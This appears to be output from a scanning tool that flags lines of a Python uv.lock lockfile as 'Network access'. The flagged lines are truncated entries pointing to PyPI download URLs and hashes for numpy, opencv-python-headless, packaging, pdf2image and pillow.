"python_full_version >= '3.12'", ] sdist = { url = "https://files.pythonhosted.org/packages/22/fd/89965aa4ac08c74998539fcbf24fa3540f3e15237fbeb6bcf9c908f4aade/numpy-2.5.1.tar.gz", hash = "sha256:a48a113e6afea91f5608793bafa7ef2ad481fefbda87e - Network accessline 117
] sdist = { url = "https://files.pythonhosted.org/packages/22/fd/89965aa4ac08c74998539fcbf24fa3540f3e15237fbeb6bcf9c908f4aade/numpy-2.5.1.tar.gz", hash = "sha256:a48a113e6afea91f5608793bafa7ef2ad481fefbda87ec5069f483de61cb9fa3", size = 2075 - Network accessline 118
sdist = { url = "https://files.pythonhosted.org/packages/22/fd/89965aa4ac08c74998539fcbf24fa3540f3e15237fbeb6bcf9c908f4aade/numpy-2.5.1.tar.gz", hash = "sha256:a48a113e6afea91f5608793bafa7ef2ad481fefbda87ec5069f483de61cb9fa3", size = 207555 - Network accessline 119
wheels = [ { url = "https://files.pythonhosted.org/packages/62/7b/14687aa674250e5e546f616f486b0d56d3631cd5b2415739141ce40bdcea/numpy-2.5.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2c889b56fe48b1018f764b0eec8df59ab654e9148aa9 - Network accessline 120
{ url = "https://files.pythonhosted.org/packages/62/7b/14687aa674250e5e546f616f486b0d56d3631cd5b2415739141ce40bdcea/numpy-2.5.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2c889b56fe48b1018f764b0eec8df59ab654e9148aa91faa12596043500 - Network accessline 121
{ url = "https://files.pythonhosted.org/packages/e1/19/cc5bb2a3f2913d27d6dbb2c78d25921fabaedc6741d4a5a615a11f3c5bf3/numpy-2.5.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ab451b59c5643c570974c43aef780703ef1d3b4965d2be07afd530615a935 - Network accessline 122
{ url = "https://files.pythonhosted.org/packages/42/77/fdf34a71dd30f54979b18603bee915e0aaf825b07afe79acd60b04b691e2/numpy-2.5.1-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:78798bd5b9ad744056af8efa90e3b9ddaa53272a0848a483084a1cc0a13b2 - Network accessline 123
{ url = "https://files.pythonhosted.org/packages/ce/e2/eb7efa015b4cce41e2517bf182a7fce0d7d5b9d9ed76a29bfa0f4fe4505c/numpy-2.5.1-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:2ae0ca40bcb22d6ba59c1dfd5446f49940b0f2d821fde133f10dda11f816 - Network accessline 124
{ url = "https://files.pythonhosted.org/packages/a9/4b/a2b32dd94ee9ffbeecb28152240042a3949db33b1c834d44090b80e1b3b8/numpy-2.5.1-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:61ac47e772e6b8ea489e1d2f441a34c5c - Network accessline 125
{ url = "https://files.pythonhosted.org/packages/b8/a9/6e73d68500f80773f65f0654ea932019d6694329a0eb0ed0533de38df376/numpy-2.5.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:59fda5e192b570217ec2580c96f00e9a7e1 - Network accessline 126
{ url = "https://files.pythonhosted.org/packages/24/7d/ad3e59015135f5261c95fd4cafeff159c955febd83a99a1d9250c4233815/numpy-2.5.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f7119ebff1a9829e9f431a4f9d28e703023bb6b9fe7c8f724467dbfc2 - Network accessline 127
{ url = "https://files.pythonhosted.org/packages/83/d0/a39b2fbcde9cb17a1dac678f254b33a6336298af9df338824c685425d5e8/numpy-2.5.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e824c2acf8862052246be5a44c15da1777940c60d010dd2aab897824d9 - Network accessline 128
{ url = "https://files.pythonhosted.org/packages/04/12/cff070947791c1ed425ff76413189adbdc2fbe215eba7ce7fa454a03c7f8/numpy-2.5.1-cp312-cp312-win32.whl", hash = "sha256:08d60c810432eb83360958dea0999ac4cfb94531ea8efcbf0b7f277c2068aeb2", size = - Network accessline 129
{ url = "https://files.pythonhosted.org/packages/65/66/53f31807a48a750f9d748da273bc3fcedd12b27ff1f3e373bfec55ef2dc0/numpy-2.5.1-cp312-cp312-win_amd64.whl", hash = "sha256:f7d60026c0bdb1380e83bfa7a0419c4577ee4b9a08880afcb6dadeb74c649fa2", si - Network accessline 130
{ url = "https://files.pythonhosted.org/packages/2b/2a/d1a88066b1c14186f5d3c0d18c94f17b064511982bab0578d49ee9d43c29/numpy-2.5.1-cp312-cp312-win_arm64.whl", hash = "sha256:17a25e09640602e10bc8de0e6fa2b3fd68eedd84ba6d7842dc8f32f9ab87bd0b", si - Network accessline 131
{ url = "https://files.pythonhosted.org/packages/eb/07/ec2a3f0c91761581d4b7104a740791800025983f9a4dc4e73f91a99aeac4/numpy-2.5.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0bfebd8695f9863592fe744be833a258120b14a9f39da255e8aa8fade2c - Network accessline 132
{ url = "https://files.pythonhosted.org/packages/ab/ab/ddb499fc4f8780354395face5b65c7fd107bcd6e1d667a5f07d046956f6f/numpy-2.5.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:30b44a6b53a7ae63c54c089a8726e5563ed302716c5b7ccc85afade40b0e7 - Network accessline 133
{ url = "https://files.pythonhosted.org/packages/88/b3/3c28c558a09fc72100c646dac6d2fce8e834c471b0edca01a29996706117/numpy-2.5.1-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:6165343f81b56ef8f514f396989e529b61d9dc709b99421b07e9f3e698e22 - Network accessline 134
{ url = "https://files.pythonhosted.org/packages/5e/0e/ce19b985bb15c596f4f05954e76cccc77c845083b3b8f938a6c68e523128/numpy-2.5.1-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:4939237038ada79308dda3204ac6462df056b5672b2e25db1149cf873668 - Network accessline 135
{ url = "https://files.pythonhosted.org/packages/2e/20/1ee6614d64332a1bba6411f38e68cb79eec1b2459e20a623777c5c5492a2/numpy-2.5.1-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c6759f538fb912fc46de0a6b1758ccf7 - Network accessline 136
{ url = "https://files.pythonhosted.org/packages/ed/a7/2bcd3fdbb87804755c35b729bf8709d62025c5f4cfd7d5b2415997097515/numpy-2.5.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9726558e8db4a5bf7929a70ae50f63abda4 - Network accessline 137
{ url = "https://files.pythonhosted.org/packages/fc/d7/a41e3310c886fe457d36e670bbf24fae411aca8a7b6ad92a32afd924077c/numpy-2.5.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3935f3b419b244a02732676fa5317a9193cc596a4c0646db07e5b4212 - Network accessline 138
{ url = "https://files.pythonhosted.org/packages/53/75/4333a9a707c1edd3a4e1a0c58eca52c0f31e55089fa80db02b5565b24df7/numpy-2.5.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dc932a65ded7ce9013d120845a2514dcccb1a67bfc8deb8d3763376295 - Network accessline 139
{ url = "https://files.pythonhosted.org/packages/ee/90/e314a32b1c11a2ffe818ddad3a57b50b4b6e1b6c487192eb50cdef0415d0/numpy-2.5.1-cp313-cp313-win32.whl", hash = "sha256:4b4ff1608417eb7a59da7b967bbb798cacfe071d2caf526a24281cd562072ed9", size = - Network accessline 140
{ url = "https://files.pythonhosted.org/packages/10/70/800b3fca480af32df9e8ea9f3d4a0c8feb4b32d7f195d174eabbda4829ad/numpy-2.5.1-cp313-cp313-win_amd64.whl", hash = "sha256:6c3fe51bc6a16453d452997053454f309e8e0ed7b42d6b361ce4ac8c32913d74", si - Network accessline 141
{ url = "https://files.pythonhosted.org/packages/8b/0b/196350c122f50f6ca56846f2d71efd5e0d24b7b2e07355e019b2e2c7a11e/numpy-2.5.1-cp313-cp313-win_arm64.whl", hash = "sha256:f7feb014281029e628ba2d5a007407443b06e418b6fe451d1e2adcbc8eba0107", si - Network accessline 142
{ url = "https://files.pythonhosted.org/packages/db/f4/731b6085a83faf6ca843394cbd5e217280c214399f7e8b21b9f552af0ae2/numpy-2.5.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:7c786fe9a5bbe360022e584c5a34cf6b54265c71bd7ec8ac3d8fec38968 - Network accessline 143
{ url = "https://files.pythonhosted.org/packages/bf/64/0e215f2048dd11a55bb989ed41b3585ef57452404e638d703a211a3e4157/numpy-2.5.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:32985c896d897419ef8da6917872d80b78ad0ea26d85b23245c7366ffde76 - Network accessline 144
{ url = "https://files.pythonhosted.org/packages/b5/59/2b844c7a6e9deff69b404a66221e1542937734f65d5e6e39411876053862/numpy-2.5.1-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:efd736408cc97c79b9e6917338dfc8f06013b2274f992e96b1d9a81a71e2a - Network accessline 145
{ url = "https://files.pythonhosted.org/packages/86/51/9bf7cb2cabcebc9e017e4ec7e6322b378317a542c08b4cb68479c1efc716/numpy-2.5.1-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:ab84dc6b074fa881cae55bea94cc4f68e285181ba7f32497bf7dee6b1496 - Network accessline 146
{ url = "https://files.pythonhosted.org/packages/83/3e/fb7615b211b82a32f44d5180a6d421b61f84d4fadd578b48ba4ac34e189f/numpy-2.5.1-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:caf3e317d33d60c37986b452613f4ab51 - Network accessline 147
{ url = "https://files.pythonhosted.org/packages/41/5f/0f992cb24560673496c5d68de61913b57166ce530ffda07c1f280e0cc464/numpy-2.5.1-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:54ad769f17bc2d833b620851989f62054fb - Network accessline 148
{ url = "https://files.pythonhosted.org/packages/a2/2f/97d6475ee91afe2587797d09446f9d3e475ad4cb681662d824809327b75a/numpy-2.5.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c12afb53450fa976d4c681c50a7423729a4c51c0465ed9f32b8a9cabb - Network accessline 149
{ url = "https://files.pythonhosted.org/packages/c4/5b/4db81e4ba0be7e2776b1de68c82aa862c7f8ec27e1b4927d4ae075e20678/numpy-2.5.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:e8c11c405efc5ff6816d5983c96cdfa215bab3428961243af3ff59b228 - Network accessline 150
{ url = "https://files.pythonhosted.org/packages/1f/64/c0ba2d90724d450279a7df8f32057241070250a26a7e2b5337d77347f481/numpy-2.5.1-cp314-cp314-win32.whl", hash = "sha256:f2479a47f8d5932d1718168a681ad6e536a9df484c83cfcf9de365e164537ace", size = - Network accessline 151
{ url = "https://files.pythonhosted.org/packages/c1/1a/837f9ed7405adcd7a40538792eb169eddd8fa5630c16a1ef49dae71a30f4/numpy-2.5.1-cp314-cp314-win_amd64.whl", hash = "sha256:24d0eb82c0541d3415a33425db64ae439dffccd7b4dbcb30e7c35120205c506a", si - Network accessline 152
{ url = "https://files.pythonhosted.org/packages/22/ed/49707938b6dd0a78a9178dd93227dc89e4c11af47f5c798d70366e8d0483/numpy-2.5.1-cp314-cp314-win_arm64.whl", hash = "sha256:5a4c988b38d261deeeaad9954e3deb091ad905c94e8bb6708654ef1d97f286b0", si - Network accessline 153
{ url = "https://files.pythonhosted.org/packages/a6/c7/bb4b882cfe7f299cbc8b66e42e7dd78cf9d14e40f9469fc5e3db7e15b3bd/numpy-2.5.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:a33276be12fa045805f477f22482088b66bb758ffbe89a9d21457de863a3 - Network accessline 154
{ url = "https://files.pythonhosted.org/packages/40/3f/5af7f4a7f6224aef48017aa82bb6174c7a659d724be0c75017b7e64a55b4/numpy-2.5.1-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:f089d7b00756190aacf1f5d34bdf38c3c430ac82b4f868f8cede73380460 - Network accessline 155
{ url = "https://files.pythonhosted.org/packages/20/c9/3474309bc94d634d3f9c3eddf03250ecb8c22cd948ef16fef69a77cc5d7b/numpy-2.5.1-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:09e9bfd8d2cf479c7d174804fb3811c53a8e9f20a37444008606b57d6b7 - Network accessline 156
{ url = "https://files.pythonhosted.org/packages/90/8a/558ae39fdd55d7e7f7fef9a84a6e964ac6b23edbd2a07e52bb084500507d/numpy-2.5.1-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e68d8dd1e7eba712948f2053a29ec869 - Network accessline 157
{ url = "https://files.pythonhosted.org/packages/63/27/ca7392b2d030277bdf0273e7d23255b3ee57d57a7c170a6f4fb3981e1e5d/numpy-2.5.1-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:99d5095fa265a0c4152e7bb12759e14381 - Network accessline 158
{ url = "https://files.pythonhosted.org/packages/02/42/03d53ae7996c44d4374a8262e9dc41671fd56cbb98f7d47ef85cf5da4c6b/numpy-2.5.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:ab87a91b3cc3382b8956095bd8f95e00cf679bb81554339be1a2ba40 - Network accessline 159
{ url = "https://files.pythonhosted.org/packages/7b/15/6c1784ae469640e65db111e9a34b3d0f14d91e8a38b9ce34810ced370dbb/numpy-2.5.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:224ca51130ef7da85bea2191625181cb4f337f9cb64b471f10c1a12aa - Network accessline 160
{ url = "https://files.pythonhosted.org/packages/94/a8/f98e50356cf167df656c526c2dfeec2d7dde182f2a3da4b458a5938e2776/numpy-2.5.1-cp314-cp314t-win32.whl", hash = "sha256:6eab239876581b2b3c5a242281b6007bbdbcd1c7085d7709bb57c5929b11e6bf", size - Network accessline 161
{ url = "https://files.pythonhosted.org/packages/72/ac/96ae880cdecad0b3275d9359fcec72667b49a4863c9f12942e43679dda02/numpy-2.5.1-cp314-cp314t-win_amd64.whl", hash = "sha256:83ce9c80d5b521b0d77ddcbe5447c218d247929b6cc056ca5351342accfff0af", s - Network accessline 162
{ url = "https://files.pythonhosted.org/packages/a1/5a/4d2b1601df3602dba7a14f3348ba9bfe94a18adb428e693df6154c293831/numpy-2.5.1-cp314-cp314t-win_arm64.whl", hash = "sha256:5a6db61f9aaa57e369905c67d852045d3c4f7126405b29d09b19dec118e9c9cb", s - Network accessline 166
name = "opencv-python-headless" version = "5.0.0.93" source = { registry = "https://pypi.org/simple" } - Network accessline 167
version = "5.0.0.93" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 168
source = { registry = "https://pypi.org/simple" } - Network accessline 169
dependencies = [ { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.12'" }, { name = "numpy", version = "2.5.1", source = { registry = "https://pypi.org/simple" - Network accessline 170
{ name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.12'" }, - Network accessline 171
{ name = "numpy", version = "2.5.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" }, - Network accessline 172
] sdist = { url = "https://files.pythonhosted.org/packages/1d/99/76b7c80252aa83c1af16393454aafd125a0287101afe8deb0a6821af0e30/opencv_python_headless-5.0.0.93.tar.gz", hash = "sha256:b82f9831daab90b725c7c1ee1b36cb5732c367096ac76d119e64e14eb7 - Network accessline 173
sdist = { url = "https://files.pythonhosted.org/packages/1d/99/76b7c80252aa83c1af16393454aafd125a0287101afe8deb0a6821af0e30/opencv_python_headless-5.0.0.93.tar.gz", hash = "sha256:b82f9831daab90b725c7c1ee1b36cb5732c367096ac76d119e64e14eb70d - Network accessline 174
wheels = [ { url = "https://files.pythonhosted.org/packages/53/7c/8c8097891c509d98cd128493835c95631c80be6a8f37ed9d25716c2e16f1/opencv_python_headless-5.0.0.93-cp37-abi3-macosx_13_0_arm64.whl", hash = "sha256:030ca5e0837a2963ab36ef896baa - Network accessline 175
{ url = "https://files.pythonhosted.org/packages/53/7c/8c8097891c509d98cd128493835c95631c80be6a8f37ed9d25716c2e16f1/opencv_python_headless-5.0.0.93-cp37-abi3-macosx_13_0_arm64.whl", hash = "sha256:030ca5e0837a2963ab36ef896baa9767eb8d2b83353 - Network accessline 176
{ url = "https://files.pythonhosted.org/packages/90/8c/eab2ad388c3cbab2a350c10c2ef19ce6bd099240afc31789032c996bab52/opencv_python_headless-5.0.0.93-cp37-abi3-macosx_14_0_x86_64.whl", hash = "sha256:1e55af3abfb462eeeabe5c775f12bdb36216d8a93a - Network accessline 177
{ url = "https://files.pythonhosted.org/packages/ec/78/afca939f40ffe2b2380bfa86f812b2f7d4acc5a27b27dc41b49cad7ce7b4/opencv_python_headless-5.0.0.93-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:10818d91510e05c0 - Network accessline 178
{ url = "https://files.pythonhosted.org/packages/2b/97/8170e9819764c47e436c130d3ff6cfb73b58f923eae9d3a03d8982b04aec/opencv_python_headless-5.0.0.93-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:09a872a157c1376ab9 - Network accessline 179
{ url = "https://files.pythonhosted.org/packages/3a/98/1a28a7101e31801042b3098871a74b76c61581d328ef40774ff4edb53a56/opencv_python_headless-5.0.0.93-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:840bd717c21e5c11cadadc022a823315ea417f - Network accessline 180
{ url = "https://files.pythonhosted.org/packages/9b/21/f6ef335f6e65724aa78b8d792b48d40a48c381715f1e62f5a5049e09d07e/opencv_python_headless-5.0.0.93-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:ed709fdf9aa0bd1f2ed8549e71d19449b03a675 - Network accessline 181
{ url = "https://files.pythonhosted.org/packages/d0/8f/b8756467ea991449a293797f6b3fa80fcfdd29598a0a60d1cd5715b96e61/opencv_python_headless-5.0.0.93-cp37-abi3-win32.whl", hash = "sha256:c6bcd96b185975ea240d22cfdb15a1f6d080cc95264cfbe2621f21b - Network accessline 182
{ url = "https://files.pythonhosted.org/packages/b8/88/763b967f7efd7226b82c9fae16d560cba049b1f0c036647e65c610fd636e/opencv_python_headless-5.0.0.93-cp37-abi3-win_amd64.whl", hash = "sha256:829717b6a95554f273e49e357cee3b3a2a26b6f4842fbc1bed2 - Network accessline 186
name = "packaging" version = "26.2" source = { registry = "https://pypi.org/simple" } - Network accessline 187
version = "26.2" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3 - Network accessline 188
source = { registry = "https://pypi.org/simple" } - Network accessline 189
sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228 - Network accessline 190
wheels = [ { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0 - Network accessline 191
{ url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 1 - Network accessline 195
name = "pdf2image" version = "1.17.0" source = { registry = "https://pypi.org/simple" } - Network accessline 196
version = "1.17.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 197
source = { registry = "https://pypi.org/simple" } - Network accessline 199
{ name = "pillow" }, ] sdist = { url = "https://files.pythonhosted.org/packages/00/d8/b280f01045555dc257b8153c00dee3bc75830f91a744cd5f84ef3a0a64b1/pdf2image-1.17.0.tar.gz", hash = "sha256:eaa959bc116b420dd7ec415fcae49b98100dda3dd18cd2fdfa86 - Network accessline 200
] sdist = { url = "https://files.pythonhosted.org/packages/00/d8/b280f01045555dc257b8153c00dee3bc75830f91a744cd5f84ef3a0a64b1/pdf2image-1.17.0.tar.gz", hash = "sha256:eaa959bc116b420dd7ec415fcae49b98100dda3dd18cd2fdfa86d09f112f6d57", size = - Network accessline 201
sdist = { url = "https://files.pythonhosted.org/packages/00/d8/b280f01045555dc257b8153c00dee3bc75830f91a744cd5f84ef3a0a64b1/pdf2image-1.17.0.tar.gz", hash = "sha256:eaa959bc116b420dd7ec415fcae49b98100dda3dd18cd2fdfa86d09f112f6d57", size = 1 - Network accessline 202
wheels = [ { url = "https://files.pythonhosted.org/packages/62/33/61766ae033518957f877ab246f87ca30a85b778ebaad65b7f74fa7e52988/pdf2image-1.17.0-py3-none-any.whl", hash = "sha256:ecdd58d7afb810dffe21ef2b1bbc057ef434dabbac6c33778a38a3f774 - Network accessline 203
{ url = "https://files.pythonhosted.org/packages/62/33/61766ae033518957f877ab246f87ca30a85b778ebaad65b7f74fa7e52988/pdf2image-1.17.0-py3-none-any.whl", hash = "sha256:ecdd58d7afb810dffe21ef2b1bbc057ef434dabbac6c33778a38a3f7744a27e2", size = - Network accessline 207
name = "pillow" version = "12.3.0" source = { registry = "https://pypi.org/simple" } - Network accessline 208
version = "12.3.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a76 - Network accessline 209
source = { registry = "https://pypi.org/simple" } - Network accessline 210
sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 4702 - Network accessline 211
wheels = [ { url = "https://files.pythonhosted.org/packages/fb/c8/0a78b0e02d7ac54bc03e5321c9220da52f0c2ea83b21f7c40e7f3169c502/pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b8 - Network accessline 212
{ url = "https://files.pythonhosted.org/packages/fb/c8/0a78b0e02d7ac54bc03e5321c9220da52f0c2ea83b21f7c40e7f3169c502/pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb - Network accessline 213
{ url = "https://files.pythonhosted.org/packages/b2/5b/a02d30018abd97ced9f5a6c63d28597694a00d066516b9c1c6de45859fc9/pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b7 - Network accessline 214
{ url = "https://files.pythonhosted.org/packages/c8/98/766667a4be768150a202836acd9fad19c06824ca86c4286d3cf6b274964e/pillow-12.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bcb46e2f9feff8d06323983bd83ed00 - Network accessline 215
{ url = "https://files.pythonhosted.org/packages/3b/2d/ede717bc1144f63886c21fd349bb95860b0d1a21149ff16f2bb362b612b6/pillow-12.3.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:23d27a3e0307ec2244cc51e7287b919aa - Network accessline 216
{ url = "https://files.pythonhosted.org/packages/a3/48/9c58b685e69d49c31af6c8eb9012055fab7e665785165c84796e2c73ce72/pillow-12.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f32 - Network accessline 217
{ url = "https://files.pythonhosted.org/packages/ff/fa/dc2a5c0ba6df93f67c31d34b808b7ce440b40cdbf96f0b81cde1d1e6fa93/pillow-12.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e - Network accessline 218
{ url = "https://files.pythonhosted.org/packages/86/a5/444817a4d4c4c2417df00513086ca196f388d8f9ef40c2e4ccd1ad1af54b/pillow-12.3.0-cp311-cp311-win32.whl", hash = "sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b", size - Network accessline 219
{ url = "https://files.pythonhosted.org/packages/63/c6/4bad1b18d132a50b27e1365e1ab163616f7a5bb56d330f66f9d1d9d4f9d4/pillow-12.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a", - Network accessline 220
{ url = "https://files.pythonhosted.org/packages/fd/16/00f91ab7760dc842f5aad55217e80fc4a7067a0604535249bc8a2d6d9870/pillow-12.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26", - Network accessline 221
{ url = "https://files.pythonhosted.org/packages/37/bf/fb3ebff8ddcb76aac5a01389251bbbb9519922a9b520d8247c1ca864a25d/pillow-12.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b531 - Network accessline 222
{ url = "https://files.pythonhosted.org/packages/d8/66/9a386a92561f402389a4fc70c18838bf6d35eb5eb5c6850b4b2dc64f5048/pillow-12.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3 - Network accessline 223
{ url = "https://files.pythonhosted.org/packages/25/27/ac8f99618ffd3dde21db0f4d4b1d2ab00c0880595bfd17df103f7f39fd0c/pillow-12.3.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d9c7f76c0673154f044e9d78c8655fb - Network accessline 224
{ url = "https://files.pythonhosted.org/packages/84/21/a35af28dcc61f37ed850a2d64c65c701321dfbf25085e469d5559360cbbf/pillow-12.3.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:78cb2c6865a35ab8ff8b75fd122f6033b - Network accessline 225
{ url = "https://files.pythonhosted.org/packages/eb/51/8b08617af3ad95e33ce6d7dd2c99ed6c8298f7fb131636303956be022e25/pillow-12.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14 - Network accessline 226
{ url = "https://files.pythonhosted.org/packages/1d/72/cf78ac9780bb93c28328f408973845a309d4d145041665f734572ced1b52/pillow-12.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b2 - Network accessline 227
{ url = "https://files.pythonhosted.org/packages/20/20/25e0f4dc178a6bc0696793720055519a0de89e7661dae886992decbd2f81/pillow-12.3.0-cp312-cp312-win32.whl", hash = "sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f", size - Network accessline 228
{ url = "https://files.pythonhosted.org/packages/45/89/da2f7971a317f83d807fdd4065c0af40208e59e692cc43d315a71a0e96d1/pillow-12.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09", - Network accessline 229
{ url = "https://files.pythonhosted.org/packages/de/47/4845a0a6c0dbf1db8456bd9fc791f13c5ced7ced20606d08a0aacfd25b49/pillow-12.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510", - Network accessline 230
{ url = "https://files.pythonhosted.org/packages/9d/ac/31fb64e1e7efb5a4b50cd3d92049ba89ac6e4d8d3bb6a74e15048ca3353e/pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc559 - Network accessline 231
{ url = "https://files.pythonhosted.org/packages/87/b4/9805e23d2b4d77842b468513841fda254ee42f0289d25088340e4ff46e2d/pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d9322 - Network accessline 232
{ url = "https://files.pythonhosted.org/packages/df/39/ecf519435a200c693fe053a6ee4d835b41cf963a4dfc2551c4e637cb2a71/pillow-12.3.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95 - Network accessline 233
{ url = "https://files.pythonhosted.org/packages/42/92/2fc3ffad878ae8dd5469ec1bc8eb83b71f48e13efdf68f02709003982a32/pillow-12.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7 - Network accessline 234
{ url = "https://files.pythonhosted.org/packages/10/76/8803c13605b763d33d156c4678fc77f8443389c0c51c8aef707bb02015f4/pillow-12.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f408911 - Network accessline 235
